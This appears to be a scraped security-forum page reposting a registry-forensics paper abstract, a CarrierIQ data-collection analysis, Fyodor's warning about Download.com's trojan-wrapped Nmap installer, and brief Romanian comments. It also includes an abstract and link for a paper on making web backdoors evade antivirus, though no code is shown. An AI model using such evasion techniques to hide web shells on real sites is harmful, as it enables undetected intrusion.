Recovering deleted data from the Windows registry Timothy D. Morgan VSR Investigations, LLC, Boston, Massachusetts, United States a b s t r a c t The Windows registry serves as a primary storage location for system configurations and as such provides a wealth of information to investigators. Numerous researchers have worked to interpret the information stored in the registry from a digital forensic standpoint, but no definitive resource is yet available which describes how Windows deletes registry data structures under NT-based systems. This paper explores this topic and provides an algorithm for recovering deleted keys, values, and other structures in the context of the registry as awhole. ª 2008 Digital Forensic Research Workshop. Published by Elsevier Ltd. All rights reserved. 1. Introduction The Windows registry stores a wide variety of information, including core system configurations, user-specific configuration, information on installed applications, and user credentials. In addition, each registry key records a time stamp when modified which can aid in event reconstruction. This makes the Windows registry a critical resource for digital forensic investigations conducted against the Windows platform, as numerous researchers have shown. Little information has been published by Microsoft related to the specifics of how registry information is organized into data structures on disk. Fortunately, various open source projects have worked to understand and publish these technical details in order to write software compatible with Microsoft’s registry format. However, no public resource was yet available describing what happens to registry data when it is deleted under Windows NT-based systems, 1 let alone how a forensic examiner might reliably recover this information in the context of a registry hive. Here, we attempt to shed light on questions related to the deletion of registry data structures and suggest an algorithm for recovering this information. Download: http://www.dfrws.org/2008/proceedings/p33-morgan.pdf

[Web Backdoors] [Attack, Evasion and Detection] [fb1h2s aka Rahul Sasi] Meet Us at http://www.Garage4Hackers.com FB1H2S Abstract: This paper provides insight on common web back doors and how simple manipulations could make them undetectable by AV and other security suits. Paper explains few techniques that could be used to render undetectable and unnoticed backdoors inside web applications. This paper is mainly an update for an old paper of ours Effectiveness of Antivirus in Detecting Web Application Backdoors, which mainly questioned the effectiveness of AV with respect to web shells and analysis of a couple of web shells. Current paper takes this topic further and explains a couple of methodologies that could be used to make stealth application layer backdoors using web scripting languages .This paper explains various Web Backdoor attacks and evasion techniques that could be used to stay undetected . Download: http://dl.packetstormsecurity.net/papers/general/web_backdoors_evasion_detection.pdf

[h=2]CarrierIQ: The Real Story[/h] Since the beginning of the media frenzy over CarrierIQ, I have repeatedly stated that based on my knowledge of the software, claims that keystrokes, SMS bodies, email bodies, and other data of this nature are being collected are erroneous. I have also stated that to satisfy users, it’s important that there be increased visibility into what data is actually being collected on these devices. This post represents my findings on how CarrierIQ works, and what data it is capable of collecting. [h=1]CarrierIQ Architecture Overview[/h] There has been a lot of misinformation about which parties are responsible for which aspects of data collection. At a high level, CarrierIQ is a piece of software installed on phones that accepts pieces of information known as metrics. On receiving a submitted metric, CIQ evaluates whether that metric is “interesting” based on the current profile installed on the device. Profiles dictate whether or not a piece of information is relevant for assessing a particular aspect of phone service, such as reception or battery usage. These profiles are written by CarrierIQ at the request of cell phone carriers. Note that the CarrierIQ application simply receives these metrics, collects them, and eventually uploads them to be analyzed by carriers. All of the code responsible for determining which metrics are submitted to CIQ for processing is integrated into the phone’s application stack by the handset manufacturers themselves. To get a complete picture of this, suppose a carrier decides it wants to know about dropped calls. The handset manufacturers who produce phones supported by that carrier instrument the application code such that a metric is submitted to the CarrierIQ application when a call is dropped. When the CIQ application receives this metric, it evaluates whether or not to actually record this data and send it to the carrier based on the profile installed on the device. [h=1]What Metrics are Available?[/h] I have completed an analysis of a deployment of CarrierIQ on the Samsung Epic 4G Touch. In this analysis, I enumerated every CarrierIQ-related hook integrated into the Android framework and examined what metrics can possibly be collected, and just as importantly, in what situations. This list does not include metrics that may be submitted by the baseband, which include additional radio and telephony information. The following table represents my findings: [TABLE] [TR] [TD]Metric ID[/TD] [TD]Metric[/TD] [TD]Data Sent[/TD] [TD]Situation[/TD] [/TR] [TR] [TD]AL34, AL35, AL36[/TD] [TD]Browser page render event[/TD] [TD]Internal page ID, no data related to page contents or URL[/TD] [TD]Page renders[/TD] [/TR] [TR] [TD]LC18, LC30[/TD] [TD]Location event[/TD] [TD]GPS and non-GPS location data[/TD] [TD]Location changes, telephony-related events[/TD] [/TR] [TR] [TD]NT0F, NT10[/TD] [TD]HTTP event[/TD] [TD]Request type, content length, local port, status code, URL, no page contents[/TD] [TD]HTTP request sent or response received[/TD] [/TR] [TR] [TD]NT07[/TD] [TD]Network event[/TD] [TD]Internal identifier[/TD] [TD]Network state changes[/TD] [/TR] [TR] [TD]DO3M, GS18, GS19, GS46, GS47, GS6E, RF02, RF04, RF05, RF1A, RF55[/TD] [TD]Telephony/radio events[/TD] [TD]Misc. radio and telephony data[/TD] [TD]Call dropped, service issues, radio event, etc.[/TD] [/TR] [TR] [TD]HW03, HW10, HW11[/TD] [TD]Hardware event[/TD] [TD]Battery level, voltage, temperature, etc.[/TD] [TD]Hardware state change[/TD] [/TR] [TR] [TD]UI01[/TD] [TD]Keystroke event[/TD] [TD]Keycode[/TD] [TD]Key pressed in phone dialer only[/TD] [/TR] [TR] [TD]UI08, UI09[/TD] [TD]Miscellaneous GUI events[/TD] [TD]Network type, battery state[/TD] [TD]GUI state changes[/TD] [/TR] [TR] [TD]GS01, GS02, GS03, LO03[/TD] [TD]Call event[/TD] [TD]CallerID, state, phone number[/TD] [TD]Call initiated, received, or failed[/TD] [/TR] [TR] [TD]UI13, UI15, UI19[/TD] [TD]Application event[/TD] [TD]Application name[/TD] [TD]New app, app stopped, app gained/lost focus[/TD] [/TR] [TR] [TD]QU04, QU05[/TD] [TD]Questionnaire event[/TD] [TD]Question data[/TD] [TD]Questionnaire completed[/TD] [/TR] [TR] [TD]MG01, MG02[/TD] [TD]SMS event[/TD] [TD]Message length, phone number, status, no message body[/TD] [TD]SMS received or sent[/TD] [/TR] [/TABLE] [h=1]Interpreting These Findings[/h] There are a number of important conclusions that can be drawn from this information: 1. CarrierIQ cannot record SMS text bodies, web page contents, or email content even if carriers and handset manufacturers wished to abuse it to do so. There is simply no metric that contains this information. 2. CarrierIQ (on this particular phone) can record which dialer buttons are pressed, in order to determine the destination of a phone call. I’m not a lawyer, but I would expect cell carriers already have legal access to this information. 3. CarrierIQ (on this particular phone) cannot record any other keystrokes besides those that occur using the dialer. 4. CarrierIQ can report GPS location data in some situations. 5. CarrierIQ can record the URLs that are being visited (including for HTTPS resources), but not the contents of those pages or other HTTP data. One important thing to note is that this represents the metrics that are submitted to the CarrierIQ application by the code written by Samsung. The list of available metrics are carrier specific, but will remain constant on a given handset model. The subset of this data that is actually recorded and collected is at the discretion of the carrier, and is based on the profile installed on the device. Edit: There have been comments made about use of the word “cannot” versus “does not”. I am using the word “cannot” literally, as in “is not capable of, in the present tense, without being altered by modifying its code and installing a new version on the phone”. It seems obvious to me that CarrierIQ could be modified in the future to perform nefarious actions: so could any application on your phone. Keep in mind CIQ is integrated by the OEM and to my knowledge has never been modified after installation, except in terms of profiles, which simply dictate which subset of available metrics defined by the OEM are collected. [h=1]Why Do They Gather This Data?[/h] Taking this information into account, all of the data that is potentially being collected supports CarrierIQ’s claims that its data is used for diagnosing and fixing network, application, and hardware failures. Every metric in the above table has potential benefits for improving the user experience on a cell phone network. If carriers want to improve coverage, they need to know when and where calls are dropped. If handset manufacturers want to improve battery life on phones, knowledge of which applications consume the most battery life is essential. Consumers will have their own opinions about whether the collection of this data falls under the terms set by service agreements, but it’s clear to me that the intent behind its collection is not only benign, but for the purposes of helping the user. [h=1]Conclusions[/h] Based on my research, CarrierIQ implements a potentially valuable service designed to help improve user experience on cellular networks. However, I want to make it clear that just because I do not see any evidence of evil intentions does not mean that what’s happening here is necessarily right. I believe the following points need to be addressed. Note that most of the burden in this situation falls not on CarrierIQ but on the handset manufacturers and carriers, who are ultimately responsible for both collecting this information and establishing service agreements with consumers. 1. Consumers need to be able to opt out of any sort of data collection. This option would need to be provided by carriers and handset manufacturers. 2. There needs to be more transparency on the part of carriers in terms of what data is being collected from users. 3. There needs to be third-party oversight on what data is collected to prevent abuse. 4. The verbose debugging logs demonstrated in Trevor Eckhart’s are a risk to privacy, and should be corrected by HTC (the author of the responsible code) by disabling these debugging messages. 5. The legality of gathering full URLs with query parameters and other data of this nature should be examined. Footnote: Neither I nor my employer (VSR) have ever had a professional relationship with CarrierIQ, handset manufacturers, or cellular providers. This research was conducted independently by me. Edit: In the interest of full disclosure, after completing this research, I provided it to CarrierIQ, who confirmed my technical findings. This entry was posted on Monday, December 5th, 2011 at 12:42 am and is filed under Android. You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed. Sursa: Security Research by Dan Rosenberg

In sfarsit ceva interesant si pentru mine. Thanks.

Clar, infecteaza. Am scos link-ul.

Nu e de la tema sau forum, sunt niste setari de securitate pe server. Voi discuta cu tex. Cat despre conturi, rezolv astazi daca ajung devreme acasa.

C|Net Download.Com is now bundling Nmap with malware! From: Fyodor <fyodor () insecure org> Date: Mon, 5 Dec 2011 14:35:30 -0800 Hi Folks. I've just discovered that C|Net's Download.Com site has started wrapping their Nmap downloads (as well as other free software like VLC) in a trojan installer which does things like installing a sketchy "StartNow" toolbar, changing the user's default search engine to Microsoft Bing, and changing their home page to Microsoft's MSN. The way it works is that C|Net's download page (screenshot attached) offers what they claim to be Nmap's Windows installer. They even provide the correct file size for our official installer. But users actually get a Cnet-created trojan installer. That program does the dirty work before downloading and executing Nmap's real installer. Of course the problem is that users often just click through installer screens, trusting that download.com gave them the real installer and knowing that the Nmap project wouldn't put malicious code in our installer. Then the next time the user opens their browser, they find that their computer is hosed with crappy toolbars, Bing searches, Microsoft as their home page, and whatever other shenanigans the software performs! The worst thing is that users will think we (Nmap Project) did this to them! I took and attached a screen shot of the C|Net trojan Nmap installer in action. Note how they use our registered "Nmap" trademark in big letters right above the malware "special offer" as if we somehow endorsed or allowed this. Of course they also violated our trademark by claiming this download is an Nmap installer when we have nothing to do with the proprietary trojan installer. In addition to the deception and trademark violation, and potential violation of the Computer Fraud and Abuse Act, this clearly violates Nmap's copyright. This is exactly why Nmap isn't under the plain GPL. Our license (http://nmap.org/book/man-legal.html) specifically adds a clause forbidding software which "integrates/includes/aggregates Nmap into a proprietary executable installer" unless that software itself conforms to various GPL requirements (this proprietary C|Net download.com software and the toolbar don't). We've long known that malicious parties might try to distribute a trojan Nmap installer, but we never thought it would be C|Net's Download.com, which is owned by CBS! And we never thought Microsoft would be sponsoring this activity! It is worth noting that C|Net's exact schemes vary. Here is a story about their shenanigans: http://www.extremetech.com/computing/93504-download-com-wraps-downloads-in-bloatware-lies-about-motivations It is interesting to compare the trojaned VLC screenshot in that article with the Nmap one I've attached. In that case, the user just clicks "Next step" to have their machine infected. And they wrote "SAFE, TRUSTED, AND SPYWARE FREE" in the trojan-VLC title bar. It is telling that they decided to remove that statement in their newer trojan installer. In fact, if we UPX-unpack the Trojan CNet executable and send it to VirusTotal.com, it is detected as malware by Panda, McAfee, F-Secure, etc: http://bit.ly/cnet-nmap-vt According to Download.com's own stats, hundreds of people download the trojan Nmap installer every week! So the first order of business is to notify the community so that nobody else falls for this scheme. Please help spread the word. Of course the next step is to go after C|Net until they stop doing this for ALL of the software they distribute. So far, the most they have offered is: "If you would like to opt out of the Download.com Installer you can submit a request to cnet-installer () cbsinteractive com All opt-out requests are carefully reviewed on a case-by-case basis." In other words, "we'll violate your trademarks and copyright and squandering your goodwill until you tell us to stop, and then we'll consider your request 'on a case-by-case basis' depending on how much money we make from infecting your users and how scary your legal threat is. F*ck them! If anyone knows a great copyright attorney in the U.S., please send me the details or ask them to get in touch with me. Also, shame on Microsoft for paying C|Net to trojan open source software! Cheers, Fyodor Sursa: http://seclists.org/nmap-hackers/2011/5

Alti suporteri de tastatura...

Edit: Am inteles gresit, scuze.

Taci acolo. Muie Steaua.

Nu e nimic rau in a reinventa roata, intotdeauna e loc de o roata mai buna. Felicitari.